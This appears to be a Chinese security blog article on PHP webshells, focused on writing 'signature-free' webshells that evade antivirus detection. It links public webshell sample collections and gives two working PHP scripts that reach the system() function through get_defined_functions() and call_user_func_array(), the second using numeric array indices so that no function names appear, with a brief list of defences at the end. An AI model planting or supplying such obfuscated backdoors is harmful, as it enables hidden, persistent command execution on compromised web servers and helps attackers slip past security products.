1. 简介

WebShell就是将PHP、ASP、JSP等代码以网页形式,编写成命令、代码执行的环境。最开始用于网站的管理,后来逐渐被用于网站后门。WebShell可谓是千变万化,编程语言不同、编码不同等等衍生出大量后门。于此同时WebShell和杀软以及安全防护产品形成相互对抗的动态形势。在《攻击者发现绕过系统安全新方法:无文件攻击快速增长》一文中提到“恶意黑客开发部署恶意软件的方式发生了转变,快速转向了高度动态的攻击,可以频繁变形以躲过标准安全产品的检测。”其实并不是限于PowerShell和WMI。


2. 文件和特征

WebShell作为非常流行的后门方式,可谓变化万千,但是通常总是存在一些文件和特征,通过在杀毒软件的追踪查杀,基本能做到有迹可循。但是发现一些高级攻击,能够通过无文件、无特征、反取证技术来规避检测与权限维持。

2.1. 常见的WebShell

在GITHUB上已经有很多人员在收集WebShell,所以在我们收集样本时会非常轻松。一些常见的WebShell收集的Github如下:

1. webshell收集项目  https://github.com/tennc/webshell

2. Webshell 样本 https://github.com/ysrc/webshell-sample

在这之中,能够找到大量流行的Webshell,它们大多数存在留有文件、使用常见代码执行、命令执行函数等特点。这些脚本容易被安全产品进行检测,成为这些WebShell的弊端之一。

2.2. 无特征WebShell

在特征上能够被轻易安全产品检测,那么没有特征没有文件就能够有效规避安全产品的检测和查杀。

使用无特征WebShell分别依靠两个函数:

1、ignore_user_abort

详解:ignore_user_abort适用于PHP4、5、7中,设置客户端断开连接时是否中断脚本的执行,PHP 以命令行脚本执行时,当脚本终端结束,脚本不会被立即中止,除非设置 value 为 TRUE,否则脚本输出任意字符时会被中止。

2、get_defined_functions

详解:get_defined_functions适用于PHP4>=4.0.4、PHP5、7中,返回所有已定义函数的数组。

在了解这些函数之后,那么如何让这些函数成为WebShell?


3. 无特征Webshell编写

使用get_defined_functions函数进行举例说明。使用get_defined_functions()遍历所有的函数, func_get_args()接受传来的参数,然后将特定函数放在call_user_func_array()之中进行命令执行。

使用脚本如下:

<?php
function testfunc(){
$conf = get_defined_functions();
$args = func_get_args();
$conf_id = array_shift($args);
$conf_name = $conf['internal'][$conf_id];
$tmp = 0;
if($conf_name == "system"){
print call_user_func_array($conf_name, $args)."<br>";
$tmp = 1;
}
return $tmp;
}
for ($x=0; $x<=50000; $x++){
$tmp = testfunc($x, "whoami");
if($tmp == 1){
break;
}
}
?>

执行结果:

image.png

看到这点肯定会有所疑问,这个不是有特征么?我们应该如何编写无特征?请看下面的脚本。

<?php
function f(){
$f = get_defined_functions()['internal'];
$a = func_get_args();
$t = $f[797]($a); //797 array_shift
$c = $f[$t];
return $f[549]($c, $a);//549 call_user_func_array
}

$tmp = f(457,"whoami");//457 system
?>

执行结果:

image.png

4. 如何检测和防御

关于如何检测?

1、这种方式通过会话流的形式已经很难检测,所以需要在终端进行防御。

2、在终端对于PHP调用函数执行过程进行严格的过滤检查,不能仅仅限于HASH或者静态函数。

3、对于PHP可读可写权限以及可以执行代码的目录进行严格限制。

4、采用虚拟化环境运行,防止对于实际以及系统造成影响。


源链接

Hacking more

...